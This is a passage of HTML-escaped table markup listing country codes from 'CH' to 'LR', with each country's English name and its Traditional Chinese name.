16.5pt;"&gt;'CH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Switzerland'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'瑞士'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Côte D\'ivoire (Ivory Coast)'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td class="xl25"&gt;'象牙海岸'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cook Iislands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td class="xl25"&gt;'庫克群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CL'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Chile'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'智利'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cameroon'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'喀麥隆'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'China'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'中國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Colombia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'哥倫比亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Costa Rica'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'哥斯達黎加'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cuba'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'古巴'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CV'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cape Verde'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'佛得角'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CX'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Christmas Island'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖誕島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cyprus'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'塞浦路斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'CZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Czech Republic'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'捷克共和國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'DE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Germany'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'德國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'DJ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Djibouti'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'吉布提'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'DK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Denmark'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'丹麥'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'DM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Dominica'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'多米尼加'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'DO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Dominican Republic'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'多米尼加共和國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'DZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Algeria'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'阿爾及利亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'EC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Ecuador'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'厄瓜多爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'EE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Estonia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'愛沙尼亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'EG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Egypt'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'埃及'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'EH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Western Sahara'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'西撒哈拉'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ER'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Eritrea'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'厄立特里亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ES'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Spain'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'西班牙'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ET'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Ethiopia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'埃塞俄比亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'FI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Finland'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'芬蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'FJ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Fiji'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'斐濟'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'FK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Falkland Islands (Malvinas)'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'福克蘭群島（馬爾維納斯）'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'FM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Micronesia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'密克羅尼西亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'FO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Faroe Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'法羅群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'FR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'France'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'法國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'FX'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'France, Metropolitan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'法國本土'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Gabon'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'加蓬'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GB'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'United Kingdom'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'英國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GD'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Grenada'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'格林納達'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Georgia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'格魯吉亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'French Guiana'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'法屬圭亞那'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Ghana'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'加納'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Gibraltar'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'直布羅陀'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GL'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Greenland'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'格陵蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Gambia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'岡比亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Guinea'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'幾內亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GP'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Guadeloupe'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'瓜德羅普島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GQ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Equatorial Guinea'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'赤道幾內亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Greece'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'希臘'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GS'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'South Georgia   and the South Sandwich Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'南喬治亞島和南桑威奇群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Guatemala'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'危地馬拉'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Guam'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'關島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Guinea-Bissau'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'幾內亞比紹'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'GY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Guyana'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'圭亞那'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'HK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Hong Kong'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'香港'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'HM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Heard &amp;amp; McDonald Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'赫德和麥克唐納群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'HN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Honduras'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'洪都拉斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'HR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Croatia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'克羅地亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'HT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Haiti'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'海地'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'HU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Hungary'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'匈牙利'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ID'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Indonesia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'印度尼西亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Ireland'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'愛爾蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IL'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Israel'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'以色列'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'India'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'印度'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'British Indian Ocean   Territory'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'英屬印度洋領地'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IQ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Iraq'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'伊拉克'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Islamic Republic of Iran'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'伊朗伊斯蘭共和國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IS'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Iceland'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'冰島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'IT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Italy'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'義大利'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'JM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Jamaica'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'牙買加'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'JO'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Jordan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'約旦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'JP'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Japan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'日本'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Kenya'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'肯亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Kyrgyzstan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'吉爾吉斯斯坦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KH'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cambodia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'柬埔寨'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Kiribati'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'基里巴斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Comoros'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'科摩羅'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'St. Kitts and Nevis'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖基茨和尼維斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KP'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'North Korea'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'朝鮮'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Korea'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'韓國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Kuwait'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'科威特'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Cayman Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'開曼群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'KZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Kazakhstan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'哈薩克斯坦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Lao People\'s Democratic   Republic'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'寮國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LB'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Lebanon'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'黎巴嫩'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Saint Lucia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖盧西亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Liechtenstein'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'列支敦士登'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LK'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Sri Lanka'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'斯里蘭卡'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'LR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   